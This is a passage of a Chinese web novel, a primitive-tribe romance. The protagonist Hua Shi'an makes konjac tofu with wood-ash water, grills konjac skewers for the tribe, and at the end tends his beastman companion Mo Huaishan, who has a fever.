花时安意味深长地看了他一眼,嘴角噙着笑,抬起筷子便将炒羊肉里面的辣椒段挑出来,夹进兽人蚌壳碗里,“喜欢吃就多吃点,别客气,干辣椒也别有一番风味。” 青黄相间的野山椒看起来毫无杀伤力,味道嘛,一吃一个不吱声。 显然知道野山椒的厉害,兽人愣住了,嘴唇张张合合,欲言又止。但仅是一瞬间的迟疑,莫淮山抬起筷子,视死如归地将野山椒喂进嘴里。 “欸,你还真吃啊!” 想阻止已经来不及了,眼睁睁地看他吃下野山椒,花时安大惊失色,赶忙拍拍他的胳膊,“快吐出来,逗你呢,哪有人直接吃干辣椒的。” “不辣。”莫淮山囫囵咀嚼了两下,喉咙滚动,咽了。 嘴很硬,身体很诚实,野山椒咽下去不到两秒,兽人嘴唇轻颤,呼吸愈发粗重,如同灌下一瓶高浓度烈酒,脸颊肉眼可见地红了。 好在桌上竹筒有清水,花时安忙地给他递过去,哭笑不得,“你说你,不能吃别硬吃,这么听话干嘛。” 没空嘴硬了,莫淮山抱着竹筒“咕嘟咕嘟”,把全部水喝完都还没缓过劲,“嘶嘶”地吸着凉气。 兽人坐在外侧,想出去装水都绕不过去。花时安在他背上轻轻拍了两下,轻声询问:“好些了没?还辣就自己出去装点水。” “好、好些了。”莫淮山呼出一口热滚烫的热气,仍在解释:“是有一点辣,但味道很好,时安你每次煮饭都好好吃,我……我喜欢吃。” 后悔捉弄他了,花时安看着兽人泛红的眼睛,心软的一塌糊涂,无奈了口气,“一起吃饭不能只顾一个人的口味,看你之前吃辣我才放这么多辣椒的,你不能吃我就会少放点。” “吃饭不能将就,再说你又能将就多久?我们就吃这一顿?”花时安抬眸看着他的眼睛,忽然认真:“以后做饭都有你的份。” 莫淮山对上他视线,眼眶更红了,“我知道了时安。” 不能吃辣偏要硬吃,只因为花时安喜欢。 两大盘肉,一锅土豆汤,两个人都吃撑了,最后还是剩下半盘羊肉。剩菜晚上就能解决,反正不会坏,花时安找了个干净蚌壳将其盖起来。 锅碗瓢盆轮不到花时安收拾,兽人主打一个勤快,把锅碗瓢盆收拾干净,将火堆彻底熄灭,这才与花时安道别离开。 望着那道身影渐行渐远,最后消失在巨树之间,花时安钻回树洞,关上竹门,四仰八叉地往床上一躺。 作息一直很规律,大白天的,睡觉肯定是睡不着,所以躺了一小会儿,花时安又爬起来了,从桌子底下翻出织到一半的棕衣,靠坐在床头上继续织。 手一刻没停,思绪却慢慢飘远,花时安莫名想到白天对木族长说的那些话。 对他有兴趣……花时安比自己想象中的还要坦诚,但他一时有些想不起,到底是从什么时候对兽人感兴趣的呢? 夸张一点的话,或许第一面。 不可否认,莫淮山有着极为优越的外形,不论相貌还是身材,都是令人眼前一亮的存在。 虽然有点肤浅,但好看的人就是容易让人心生好感。 当然救命之恩也算是其中一个原因,花时安很庆幸重活一次,拥有健康的身体,也很感激原身和莫淮山给了他第二次生命。 兴趣始于皮囊,靠近出于感激,帮助出于同情,但不知从何时开始,心会因兽人而悸动,会想见他,和他说话,和他相处。 意识到自己的心动,就像喝水一样简单。 第54章 第 54 章 魔芋豆腐 白天织夜里织, 耗时两日,花时安的棕衣大功告成。 收好线头,取下竹针,花时安从头将棕衣套上, 一点点抻平。终于啊, 跟着他受委屈的胸口、后背被棕衣包裹, 逐渐暖和,冰冰凉凉的肚皮也有了遮挡。 遗憾的是没有袖子,胳膊仍暴露在外面受冻。 这不完全是技术问题,如果花时安想的话,拼也能拼出一对袖子,但棕丝搓出来的棕线柔韧性始终差了点, 硬邦邦的袖子套在手臂上,干活儿都不利索。 材料有限,只能将就着穿,来年再去森林里仔细找找,有没有更合适的材料,比如——苎麻、亚麻之类的。 “时安,时安, 天色不早了。” 洞口传来一阵窸窸窣窣的响动, 熟悉的呼喊声紧随其后。 花时安应了声“来了”,滑下竹床将竹针、线团塞进桌子底下, 不紧不慢地走到洞口, 推开竹门。 临近傍晚,天空灰蒙蒙的,没有太阳的森林冷寂而沉闷,被一层厚重的雾气笼罩着。凉飕飕的风, 阴沉的氛围让人感觉压抑,世界一片灰色,站在洞口前的兽人倒成了凛冬唯一的色彩。 “时安。” 瞧见竹门打开,莫淮山快步迎了上来,献宝似的将双手摊在花时安面前,笑吟吟道:“闲着没事做,我在树洞里磨了一些骨头,你看看用不用得上。” 兽人手中放着四样东西,羊腿骨斜着打磨而成,锋利轻薄的骨刀;不知哪个部位的小骨头劈成两半,磨成了头尖尖的骨锥;两根比棕线还细,比中指长,一端尖锐一端平整的骨针。 花时安惊了,捻起骨针翻来覆去地看,一脸欣喜地看向莫淮山,“都是你磨的?手艺不错啊,这骨针到底怎么磨的,居然这么细,还有这骨刀,又轻又锋利,切肉切菜肯定比石刀好用。” 被夸得有点不好意思了,莫淮山抿唇嘿嘿一笑,“就、就劈一块骨头下来,按在石头上反复磨,慢慢就变小,变锋利了。” “不错不错,都用得上。”花时安不遗余力地夸赞,爱不释手地把玩着骨针,厚着脸皮讨要:“尤其是这骨针,我正好用得上,分我一根呗。” 莫淮山微微一愣,“不、不——” “一根骨针都不行?”花时安不可置信地瞪大眼睛。 不是这个意思! 兽人想解释,但越急越说不出话,最后干脆抓着花时安的手,把自己辛辛苦苦打磨好的骨器全部塞他手中,磕磕巴巴道:“不、不用分,都是你的,送、送给你的时安。” “都给我?”花时安挑了下眉,嘴角不受控制地扬起,“磨骨器可费劲儿,需要大把时间和耐心,你辛辛苦苦磨出来的,不给自己留一点,全送给我呀?” 莫淮山飞快地点点头,生怕花时安不收,又忙地解释:“本来就是给你磨的,我有石刀,够用。树洞里也还有骨头,要用再磨。” “谢谢你淮山,那我就不客气了。” 花时安不再推拒,笑着与他道谢,而后将骨锥和骨针放回树洞里。 从仓库搬回来的魔芋疙瘩还堆在树脚下,再次从树洞里出来,花时安当即带着莫淮山忙碌起来,生火烧水,给魔芋削皮。 沾着泥土的魔芋块茎呈暗红褐色,坑坑洼洼的,看着属实和美味沾不上边,但厚厚一刀削下去,褐色外皮褪去,奶白色茎肉暴露在空气中。 茎肉看着和芋头很像,仿佛一煮就会变得软软绵绵,但很遗憾,魔芋并不能直接食用,还需来回折腾,反复加工。 新骨刀用着非常趁手,削起皮来麻利又干净,不过才削了四五个魔芋,花时安直接触碰魔芋的左手发生了微妙的变化,细密的痒意从掌心蔓延到指头。 魔芋含有大量草酸钙针晶,皮肤直接接触可能会导致红肿、瘙痒,花时安早有预料,却没想到来得这么快,这么猛。 又削了一个魔芋,轻微的痒意已经发展到难以忍受的地步,像一万只蚂蚁穿透皮肤,啃噬着掌心血肉,痒得花时安心烦意乱。 不行了,花时安实在受不了了,小刀一丢,赶忙跑到大石锅跟前,舀水狂搓手。可惜还是晚了一步,指缝、指甲缝都洗干净,蚀骨的痒意依旧没能缓解。 这也太难受了。 花时安掌心贴着棕裙反复摩擦,才稍微舒服一点。 “你怎么了时安?” 看着他奇怪的举动,兽人丢下石刀匆匆上前,眉宇间挂着浓浓的担忧,“削到手了?我看看。” “没,没削到,是魔芋咬手,痒。”花时安眉头紧皱,又搓又挠,极力缓解掌心痒意。 莫淮山懵了一瞬,回头看看魔芋,又看了眼花时安的手,满眼不可置信,“魔芋咬、咬手?你摊开手我看看,伤口大不大?” 植物咬人显然超出了认知,他却无条件相信花时安的话。 花时安被他呆呆的模样逗笑了,温声解释:“不是真咬,魔芋有一种特殊的成分,削皮的时候手直接接触,就会变得很痒,也叫咬手。” “你看,没有伤口,就是有点红。” 花时安忍着不适,摊开左手给他看。 这下听懂了,莫淮山看着花时安微微泛红的掌心,又摊开自己的右手凑到面前,“我也摸了魔芋,我不痒。” 花时安一眼扫过去,好家伙,掌心与指头全是厚厚一层老茧。这会痒才奇怪呢,花时安干巴巴一笑,说:“可能……每个人的体质不一样。” 这也是实话,但不能显得自己太弱,特意说一句。 见花时安不停抓挠掌心,莫淮山眉头越拧越紧,神情愈发凝重,“那怎么办?会一直痒吗?泡在水里会不会好一点?要不我、我帮你挠挠。” 倒是不介意兽人帮他挠挠,但正事要紧啊,花时安收起乱七八糟的心思,抬头和兽人笑了笑,“没事,不用管我,一会儿就不痒了。再不久天就黑了,还是赶紧处理魔芋吧。” 一听这话,莫淮山转身就跑。 “你别碰,我去削,我体质好,不会痒。” 一句话的功夫,兽人重新坐回树脚下,更加麻利而迅速地削起了魔芋。 刚好石锅里的水也烧开了,花时安便把魔芋留给他。 想要中和魔芋中的生物碱,去除魔芋的毒性,少不了万能的草木灰。自家小灶才开了几天火,草木灰不够多,待手上痒劲儿渐渐弱了,花时安拿着棕片前去营地,兜了三大包回来。 魔芋有点多,容器不够用,花时安放下草木灰,跑回搬了口小石锅,随后又叫上兽人把另一口大石锅也抬了过来。 万事俱备,这下终于可以开始了。 草木灰稍微清理一下,去除杂质和未燃尽的枯枝,倒入石锅中,接着将煮沸的开水倒进锅里,用竹片将草木灰搅散开,里里外外烫一遍。 无需长时间浸泡,搅匀放个一小会儿,可以开始过滤了。花时安把清洗干净的棕片铺在烧开水的小石锅上,舀起草木灰水,一点点地过滤。 两个小石锅来回倒,足足过滤了五遍,草木灰水依旧浑浊,却再也看不见一丝杂质。 与此同时,兽人那边的魔芋也削好了。他把魔芋装进背篓里,背到河边清洗干净,而后在花时安的指挥下,用石刀将大块大块的魔芋疙瘩切成小块。 魔芋需制成魔芋泥,石刀肯定做不到,于是花时安又跑回营地,把前阵子烤全羊的木棍给拿回来,再用石刀把一头削成圆弧状,做成一根简易木杵。 切好的魔芋倒入大石锅中,花时安手起杵落,直接开捣。 亚兽人的体力始终差了点,没捣一会儿花时安就累了,出一脑门汗。好在莫淮山的魔芋切完了,洗干净手从他手中接过木杵,埋头一顿捣。 捣的过程中,少量多次地加入草木灰水,这样融合得更加充分。 “咚咚咚”的闷响在森林里回荡了许久,头顶天空渐渐暗了下来,石锅里的魔芋在数千次捶打中,变成了一锅黏糊糊,灰不拉几的魔芋泥,像极了一锅浆糊。 基本完事了,最后将魔芋泥摊平,放锅中静置即可。 木杵、石锅、棕片还需清洗,两人又往河边跑了几趟,将一地狼藉收拾干净,背靠大树歇息起来。 皮是兽人削的,切也兽人切的,捣还是兽人捣的,花时安就打打杂,动动嘴皮子,休息都是多余的。当然了,身体休息,嘴巴一刻也没闲着,忙着解答兽人的疑惑。 比如魔芋为什么要捣成泥,为什么要加草木灰水…… 魔芋凝固需要时间,树脚下坐了一会儿,本来就不怎么累的花时安拍拍棕裙站起身,开始准备晚饭。 顿顿吃肉不太现实,晚上简单点,吃清水煮土豆。 挑一些小个土豆清洗干净,无需削皮,直接下锅煮。煮软后捞出沥干水,稍微放凉一点就可以吃了,边吃边剥皮。 原汁原味的土豆多少有点寡淡,为此,花时安准备两个蘸碟。一个树番茄烤熟捣碎,加辣椒、花椒、盐的咸口蘸碟;另一个,花时安接受不了的存在——蓝莓蜂蜜果酱蘸碟。 土豆蘸沾果酱,花时安看着都皱眉,但兽人吃得津津有味,赞不绝口,说软绵绵的土豆和蓝莓酱是绝配。 大概是小蛋糕的味道?花时安没有勇气尝试。 吃饱喝足,待在树洞里休息。 不知过了多久,反正花时安倚着竹床迷迷糊糊都快睡着了,一声夹杂着喜悦的惊呼从树洞外传来:“时安时安,快出来看,锅里的魔芋凝固了!变成一整块了!” 与周公挥手说再见,花时安麻利地站起身,打了个哈欠钻出树洞,踩着夜色匆匆奔向石锅。 罩在石锅上面遮挡灰尘的棕片被人拿开了,和兽人说的一样,石锅里黏糊糊的“浆糊”彻底凝固,变成了完整的一大块,像果冻又像豆腐,拍一下还会回弹,duangduang的。 “成功了吗?可以吃了吗?” 见花时安一直没说话,莫淮山忍不住追问道。 “成了,但还不能吃。”花时安从旁边石板上拿起骨刀,干脆利落地横着来几刀,竖着又来几刀,把完整的魔芋划成拳头大的小块。 满满一锅少说几十斤,今晚有得忙咯。 花时安放下骨刀,无奈朝兽人耸了耸肩,“生火烧水,开始煮,煮熟才能吃。” 兽人非常听话,立马走到小灶台前。 不过拿起干柴后,他似乎又想到了什么,扭头看向花时安,抿着唇笑,“时安,我们做的这个菜叫什么名字?” 花时安不假思索:“魔芋豆腐。” 第55章 第 55 章 油煎魔芋串 “咳咳, 咳——” 花时安着凉了,羊皮太小,顾头不顾脚,一觉睡醒双腿失去知觉, 两只脚更像是从冰箱里拿出来的, 又冰又木。 后背和胸口被柔软的羊皮紧紧包裹着, 有毛的那一面贴着皮肤,还算暖和,所以花时安一开始没当回事,直到从床上坐起来,喉咙突然涌现的痒意让他咳了个昏天暗地。 喉咙痒,胸口闷, 脑袋还昏昏沉沉的,不出意外的话就出意外了,他应该是感冒了。好在症状比较轻微,花时安干咳了一阵,坐在床边慢慢缓过来。 没有手机,没有钟表,不会被时间限制, 但也很难知道具体时间。披着羊皮钻出树洞, 花时安抬头看着阴沉的天空,根据温度, 再根据自己的睡眠时长, 估摸着现在是中午。 魔芋豆腐昨晚还是没能吃上,太晚了,反复煮了三遍,全部煮完都三更半夜了, 到最后花时安困得眼皮子都睁不开,回到树洞两眼一闭,睡得不省人事。 兽人今天也还没过来吃饭,不知是没睡醒,还是不想扰花时安的清梦,以兽人的生活习惯来看,多半是后者。 肚子饿得咕咕叫,洗脸刷牙,把自己收拾干净,花时安走到大石锅跟前,挪开挡风的背篓,掀开遮挡灰尘的棕片。 草木灰水煮了一遍,清水煮了两遍,又放在冷水中浸泡了一夜,石锅里的魔芋豆腐变成了灰褐色,块块分明,质地莹润,Q.Q弹弹。 除了颜色偏暗,表面不够光滑之外,和花时安曾经见到过的魔芋豆腐没太大差别。 量稍微有点大,满满当当一大锅,两个人吃的话,天天吃顿顿吃,估计也要吃个三五天才能吃完。 这玩意儿可不兴顿顿吃,再说魔芋也算是部落的资产,怎么能吃独食呢?花时安托着下巴琢磨了一下,当即决定把这一锅魔芋烹饪好,分给族人吃。 怎么烹饪是个问题,直接炒素的当然也行,但端着盘子挨个儿敲树洞让人夹一筷子?嘶,太寒碜了。 余光无意扫过远处营地,几捆褪了颜色的竹子映入眼帘,花时安眼睛一亮,心里顿时有了主意。 烧烤,魔芋豆腐厚切,用竹签串起来烤! 说干就干,想着那烧烤的滋味,花时安腿也不冰了,头也不晕了,拎着石刀匆匆走向营地。 一串魔芋两根竹签,五十多个人那就要一百多根竹签。工作量有点大,花时安手起刀落将竹子劈成两半,眼睛却不时瞟向兽人树洞所在方向。 “祭司大人!” 莫淮山没来,其他人倒是先来了,手中青竹化作竹条,一声嘹亮的高呼突然从身后传来。花时安回头一看,岩知乐背着背篓匆匆朝他跑来,身后还跟着红勇、长月月两人。 见到花时安就像饿狼见到肉,岩知乐双腿甩出残影,飞快冲到花时安面前,张开双臂就要往他身上扑。 几天没见整的跟几年没见一样,花时安笑了笑,丢下竹条张开双手,准备迎接亚兽人的热情。 可就在那双手离自己不到一寸之时,眼看就要楼上脖子了,一股怪味掠过鼻间,花时安眸色一沉,当即伸手撑住岩知乐的胸口,阻止他靠近。 “冷静,别摸我,你给我站稳了。” “怎么了嘛,好几天没见,我好想你呀祭司大人。”岩知乐不依不饶,使劲往前蹭。 一个兽人带两个亚兽人,都背着背篓,不用想都知道他们刚才做什么去了。 花时安撑着胸口硬生生将人推开,赶忙后退两步拉开距离,一脸嫌弃道:“刚给羊和兔子清理完树洞对不对?一股子味还往我身上扑,你自己闻不到吗?” “什么味儿?”岩知乐没反应过来,直到举起双手闻了下,笑脸秒变愁容,“哎呀,我手上沾到羊粪了!好臭。” 花时安抬手扇了扇空气,“赶紧去洗洗。” “哦哦,好。” 岩知乐丢下背篓匆匆跑向河边,与此同时,背着背篓的红勇和披着兽皮的长月月也走到了营地,停在了花时安面前。 “祭司大人。”长月月一如既往地少语,点头和花时安打招呼,多的话一句没有。 红勇倒是意外的热情,上来就捡起花时安丢在地上的竹条,顺势从他手中拿过石刀,笑吟吟道:“祭司大人准备做什么东西?要竹条还是要竹篾,我帮你劈。” 正需要人帮忙呢,免费的劳动力就送上门了。 直接应下好像显得太迫切了,花时安轻咳一声,客气了一下:“不用,你们刚忙活完,赶紧回树洞暖和一下,天怪冷的。” “不冷,干完活正暖和呢,”红勇特意撩起头发,让花时安看他额头上的汗,“你看,汗都还没干,真的一点儿都不冷。祭司大人你就别客气了,我干活快,两下就劈完了。” 花时安笑了笑,“这活儿你还真干不快,我需要竹签,很细很细,像草根那样细的竹签。昨天我和淮山做了些魔芋豆腐,我打算——” “魔芋豆腐?我们之前挖的魔芋疙瘩做成吃的了?在哪呢?好吃吗?”岩知乐风风火火地跑回来了,提到吃得两眼放光。 几句话说不清楚,花时安朝三人挥挥手,“在我家树脚下。走吧,感兴趣的跟我去看看。” “我要看我要看。” “走走走!” 没人顶得住新鲜事物的诱惑,三人跑得比谁都快,把花时安远远甩在身后。 火急火燎地跑到歪脖子树下,却不知道花时安口中的魔芋豆腐放在哪。三人焦急地团团打转,左看看右看看,就是不往石锅里看。 被三只团团转的“小蚂蚁”逗笑了,花时安快步上前,抬手指向十分显眼的石锅,“你们倒是往锅里看啊,吃喝东西,我还能直接丢地上?” “啊?” 刚好站在石锅跟前,岩知乐俯身凑近,看着石锅里灰蒙蒙、黑乎乎的块状物,诧异地惊呼:“这、这是魔芋?我刚刚扫了一眼,还以为是石头呢!” “到底谁会把石头泡在锅里?”花时安吐槽道。 亲手挖过魔芋,长月月自然知道魔芋长什么样。 她屈膝蹲在石锅跟前,看着浸泡在水中的魔芋豆腐,眼底疑惑尽显,“祭司大人,魔、魔芋怎么变成这样了?不该是硬邦邦的吗,怎么看着轻飘飘,软绵绵的,颜色和形状全都变了。” 两个亚兽人只是看,红勇直接动手从锅里捞起一块魔芋,轻轻捏了几下,“不是看着软,是真的很软!很奇怪的感觉,软乎乎、滑不溜秋,像鱼!” “我摸摸,我摸一下。” “真的好软,好好摸。” 几只手伸进石锅里,又捏又摸,把魔芋豆腐当水宝宝一样玩起来了。 花时安看不下去了,握拳抵唇轻咳两声,及时制止:“差不多行了,别玩,那都是要入口的东西,别弄脏了。” 说罢,花时安又给他们答疑解惑,几句话带过魔芋豆腐的制作方法。 岩知乐听完又不得了,三步并作两步冲上前,抓着花时安的胳膊左摇右晃,撒娇似的嘟囔:“祭司大人~光说我也听不明白,下次做好东西你叫我一声嘛,我要学,我真的想学。” “算我一个,我也想学。”长月月附和道。 花时安深感欣慰,轻笑了一声,“难得的休息时间,舒舒服服地待在树洞里多好,真的要跟着我在外面受冻?” 岩知乐面露迟疑,长月月的眼神愈发坚定,“冬天每年都有,以后也可以休息。跟着祭司大人你多学点东西,往后的冬天才会更加好过。” “对。”岩知乐被长月月说服了,梗着脖子笑嘻嘻道:“再说祭司大人你又不傻,干活肯定会挑暖和点的日子,我才不怕!” 这倒也是,花时安赞同地点点头,旋即朝众人扬了扬下巴,“那现在怎么说?回树洞休息,还是跟着我烤魔芋?” “烤魔芋!” 三人毫不犹豫,异口同声。 有了三个帮手,烤魔芋顿时变得简单起来。 花时安让他们三个去营地削竹签,自己留在树脚下切魔芋豆腐,等魔芋切的差不多了,竹签也削的差不多了,这时把两个亚兽人叫回来帮忙,将厚切魔芋豆腐挨个儿串在竹签上,再斜着打上花刀。 没有烤网烤架,一串一串拿着烤还是太慢,太费劲了,花时安小小地纠结了一下,让兽人帮忙在河边搬了一个平整光滑的大石板回来,决定用煎的。 添柴生火,洗干净的石板放在小灶台上烤着,待温度升高,水分烤干,花时安从竹筒中蒯了一坨羊油,趁其尚未被高温融化,快而均匀地涂抹在石板上。 温度渐渐升高,羊油快速融化,串好竹签的魔芋豆腐放在油光水亮的石板上,油烟升腾而起,“滋滋滋”的响声久久不散。 魔芋豆腐本身的味道很淡,加什么调料就是什么味。 花时安给亚兽人做了个示范,把魔芋豆腐交由他们来煎,自己则返回树洞把前阵子磨的辣椒粉、花椒粉和盐拿出来,顺带拿了几个树番茄。 树番茄丢在火堆里烤,烤软后撕掉外皮,放进蚌壳碗中捣碎,随后再加入辣椒粉、花椒粉、盐,充分搅拌均匀。 考虑到有的人不能吃辣,花时安又调了一碗不放辣椒的。 魔芋豆腐煮了三遍,本身就是熟的,烤至两面泛白,略有焦感,花时安用棕片蘸取调料,均匀涂抹在魔芋豆腐的两面。 提前打了花刀,料汁顺着缝隙渗透魔芋,再在滚烫的石板上炙一下,几乎闻不到味道的魔芋豆腐迸发出诱人且浓郁的香味。 第一次尝试只烤了五串,本来想拿竹筒装起来的,结果看到猛吸鼻子的岩知乐,狂咽口水的红勇,花时安无奈摇摇头,将已经拿起来的魔芋串放回石板,“吃吧吃吧,我们先尝尝味。” “好耶!” “谢谢祭司大人。” 香味着实诱人,没人会在这时候客气,他们一人拿了一串,呼呼吹了两下便迫不及待地送进嘴巴里。 而就这一小口,宛如雷鸣的惊呼声再度炸响。 “天啦,好好吃啊!这魔芋豆腐看着不怎么样,吃着又软又嫩,滑溜溜的,配着祭司大人调的调料,真的绝了!”岩知乐赞不绝口,说完又大口大口地吃了起来。 长月月不太能吃辣,辣的斯哈斯哈,百忙中抽空夸赞:“真的好好吃,好特别的口感,就是、就是稍微有点辣。” 红勇倒是没说话,手中光秃秃的竹签已然说明一切。 真的这么好吃?花时安看着狼吞虎咽的三个人,抬手将魔芋豆腐送到唇边,张嘴咬下一小口。 火候刚刚好,虽然煮了三次,又煎了一次,但魔芋豆腐一点儿也不老,入口爽滑软嫩,无需咀嚼都能滑进喉咙里。 调味料与魔芋充分融合,很入味,麻辣鲜咸,带着树番茄的酸味,还有一点淡淡的果香,比预料中更加好吃,且非常开胃。 不知不觉就吃完了一串,花时安意犹未尽地舔了舔嘴唇,抬头就看到三个虎视眈眈,直勾勾盯着石板的人。 石板上还剩最后一串,放那一会儿也凉了。 馋食物的模样属实招笑,花时安挥挥手,“想吃就分了吧,不过先说好,最后一串,吃完先给其他人煎。魔芋豆腐只多不少,分完还能剩下一些,我们待会再吃。” “好!” 三人齐刷刷应了一声。 风残云卷地瓜分完魔芋,煎串摊再度忙碌起来。 夹着香味的烟雾飘了许久,干柴又添了几捆,越来越多的魔芋豆腐串出锅,放进蚌壳,装进竹筒。 到最后两个人煎,两个人送,忙碌到天色渐暗,终于,部落所有人都尝到了美味可口、麻辣鲜咸的魔芋串。 哦,有一个人例外。 花时安估摸得很准,给族人分完还剩下不少魔芋串。跟着干活没有功劳也有苦劳,花时安给他们三个一人分了五串,自己留下十二串。 魔芋豆腐是花时安和莫淮山做的,没有人会对此有意见。忙活一天都累了,三人拿到魔芋串便高高兴兴地离开,回自家树洞慢慢品尝。 石板都没空洗,趁魔芋还热乎着,花时安抱着两个竹筒站起身,踩着逐渐暗下来的天色,走向离营地最远的树洞。 第56章 第 56 章 发烧了 “咚, 咚咚咚——淮山,淮山你能听见吗?” 天色渐暗,凛冽的寒风在山林间呼啸,无情且肆意, 好似鬼哭狼嚎, 转瞬便将为数不多的暖意卷走。 竹筒仍有余温, 抱着竹筒的手却愈发冰凉。 紧闭的竹门纹丝不动,迟迟等不到回应,花时安眼底笑意渐淡,眉头微拧,化敲门为拍门,透过门缝高声呼喊:“砰砰砰, 淮山,淮山你在树洞吗?我要自己开门进来咯?” 一整天都不见人影,敲门也没人应,除了人不在树洞,花时安想不到别的原因。可大冷天的,不在树洞能去哪?就算要出门应该也会跟他打声招呼吧? 该不会……冻晕在里面了? 胡思乱想不能解决问题,花时安深吸一口气, 俯身将两个竹筒放在一旁, 旋即伸出双手将手指嵌入竹篾缝隙中,抓着竹门用力一拽。 只听“啪嗒”一声响, 拴在竹门内侧的棕绳应声断裂开, 推不动也拽不动的竹门解开了束缚,轻轻一拉便打开了。 抱着竹筒俯身钻进树洞,花时安悬着的心重新落回胸膛,还好还好, 至少人在树洞里。 兽人的新树洞比花时安的树洞要大上一圈,但洞内很空,东西很好。门的左侧铺着一层棕片,土豆、板栗随意堆放在一起,旁边还放着一排竹筒,里面装着松子、杨柳枝、蜂蜜…… 除此之外,整个树洞就只剩下一张矮脚竹床。 竹床摆在树洞右侧,床板上同样铺了一层棕片,洁白柔软的羊皮撑起一个大鼓包,正轻轻颤动着。家里进人了都不知道,面向洞壁,背对树洞的兽人尚在熟睡中,时浅时重的呼吸声萦绕树洞。 搞了半天居然在睡觉,昨晚熬通宵了?这么能睡。 花时安长舒一口气,抱着竹筒走到床边,凑到兽人毛茸茸的脑袋旁边,轻轻唤了一声:“淮山。” 不知是刚好睡醒,还是竹筒中的香味过于诱人,刚才在门外喊破喉咙都听不见,这会儿只是轻唤一声,熟睡中的兽人缓缓转过身,从侧躺变成平躺,睁开睡意蒙眬的双眼。 困意正浓,兽人眼睛艰难睁开一条缝,但迷迷糊糊看见站在床头边上的花时安,莫淮山眼睛瞬间瞪如铜铃,噌地一下从床上坐起来。 “时、咳,咳咳咳咳……” 凌乱的咳嗽声将没说完的话堵在了喉咙里,兽人单手撑着胸口,身体剧烈颤抖,垂着脑袋咳了个昏天暗地。 终于意识到为什么一整天不见人了,花时安赶忙把竹筒放在地上,抓起被兽人掀开的羊皮,摊平披在他背上,再绕过肩膀将胸口一并包裹住。 咳嗽声渐渐弱了下去,兽人大口喘着粗气,额间碎发被汗水濡湿,脸色绯红,嘴唇干燥起皮,整个人前所未有的憔悴。 兽人树洞里还有一点清水,花时安端着水回来,坐在床边,将竹筒送到莫淮山唇边,“来,喝点水,慢慢喝。” 不好意思让人喂,晕乎乎的莫淮山愣了一下,缓缓抬起手,但手还没摸到竹筒就被花时安强硬地摁了下去,“别乱动,就这样喝。” 声音略微有些冷,莫淮山闷闷地“哦”了一声,就着花时安的手,大口大口地将竹筒里的水喝完。 竹筒放回地面,花时安手一抬,掌心轻轻贴上兽人的额头。不明所以的莫淮山下意识就要躲开,却被花时安不容抗拒地按住了肩膀。 不摸不知道,一摸吓一跳。 兽人发烧了,额头烫得惊人,虽然花时安刚从外面进来,手有点冷,但这灼热而滚烫的体温,高烧无疑。 在医疗条件落后,甚至完全没有的原始社会,发烧可是会要命的大病。花时安缓缓抽回手,偏头看着兽人,眉头越拧越紧,“什么时候开始不舒服的?除了发热,咳嗽,还有别的不舒服吗?” 挨得好近,手臂都贴在一起了! 莫淮山脑瓜子“嗡嗡”的,压根没听清花时安说的什么,过了两息才后知后觉地反应过来,“啊”了一声。 花时安耐心重复了一遍,兽人听完却是摇了摇头,磕磕巴巴道:“时安,我、我没有不舒服,刚刚那是起猛了,口、口水呛到了。” “口水呛到?”花时安板着脸,似有不满地瞪了他一眼,“口水呛到能在树洞里睡一天?额头滚烫,脸红得跟猴屁股一样,人都虚弱成什么样子了,还在忽悠我。” “不弱,我、我不虚弱。” 莫淮山反应特别大,中气十足的一嗓子。 喊完他就糟了,喉咙里泛起的痒意无法遏制,他弓着腰又是一阵剧烈咳嗽,咳得撕心裂肺,面红耳赤。 饶是如此,他缓过劲仍第一时间与花时安解释:“没事,我真的没事,时安你不用管我,咳咳,快、快回去休息吧。” 花时安愁得不行,伸手在他背上轻轻拍着,耐心十足地安抚:“这么大个人怎么还跟幼崽一样?生病就生病,不舒服就舒服,有什么不能承认的?我还能嫌弃你?” “我、我……” 像是被戳穿了心事,兽人神情有那么一点点不自然。 他支支吾吾好半晌,局促不安地抿了抿嘴唇,呼出一口热气,小声咕哝道:“好吧,是、是有点不舒服。夜里睡觉莫名觉得热,所以就没有盖羊皮。然后今天早上睡醒,脑袋晕,犯困,咳嗽,一会儿冷一会儿热。” “时安,”莫淮山咬着下唇,双手攥紧羊皮,略显紧张地看了花时安一眼,“我、我身体好,力气大,跑得快,从小到大都没怎么生过病。这次、这次不知道是怎么了,我很快就会好起来,你、你不要……” 话没有说完,但花时安猜到了。 身体是兽人的本钱,身强力壮便是亚兽人择偶的首要标准,没有亚兽人会选择一个肩不能扛手不能提,病恹恹的兽人当伴侣。 兽人在害怕,怕花时安因此嫌弃他。 忙着烤魔芋串,明知道兽人一天没出门很奇怪,却没早点来看一眼,让病人一个人在树洞里睡了一天,花时安心疼都来不及,又怎么会嫌弃。 病来如山倒,意气风发的兽人被高烧夺去精气神,眼眶红红的,像刚刚哭过,怎么看怎么可怜。花时安没有犹豫地抬起手,拇指抚过长睫下微微颤抖的眼睛,声音轻柔:“不会的淮山,我保证。” “人是肉长的,谁都会有生病的时候。我知道你身体一直很好,昨天应该是捣魔芋出了太多汗,又吹了冷风,一冷一热着凉了,我今早起来也有点不舒服呢。” “你也不舒服?哪里不舒服?”莫淮山大惊失色,猛地一下坐直了,学花时安的模样,慌慌张张地伸手摸他的额头。 花时安由他摸了几秒,抓着手腕将额头上那只滚烫的大手挪开,但并未松开,反而不经意往上挪了几寸,轻轻握住他的手,“怎么样,没你烫吧?昨天主要是你在干活,我没怎么出汗,问题不大。” “那、那就好。”莫淮山整个人僵住,一动不敢动。 柔软的小手握着他的手,属于亚兽的,略带凉意的体温正源源不断地传来。 生怕亚兽松开手,他呼吸都不敢太重,以至于花时安问他饿不饿,他条件反射握紧花时安的手,飞快地摇摇头,“不饿,我不饿。” 嘴巴硬,身体很诚实,话音刚落,只听“咕咕”一声,饥饿已久的肚皮发出不满的咆哮,悠长的声响在树洞回荡开。 兽人脸涨得通红,一下子红到耳后根,花时安“扑哧”笑出声,旋即晃了晃牵着他的手,轻声道:“不走,我带了吃的。等一下再牵好不好?我们先吃东西。” “嗯。”兽人点点头,恋恋不舍地松开手。 竹筒保温效果不错,魔芋豆腐串没有完全冷,还有点余温,花时安和莫淮山分着吃了,他吃辣的,兽人吃不辣的。 估计一整天都没吃东西,兽人生着病,胃口却相当不错,八串魔芋吃得干干净净,好像还有点意犹未尽,有意无意盯着花时安的手。 辣味的不敢给他吃,花时安不想馋他,赶忙把最后一小口魔芋塞进嘴巴里。可魔芋吃完了,兽人依旧看着他的手,他这才后知后觉地反应过来——哦~想牵手。 最后还是没能让兽人如愿,吃完魔芋,花时安抱着两个竹筒离开了。 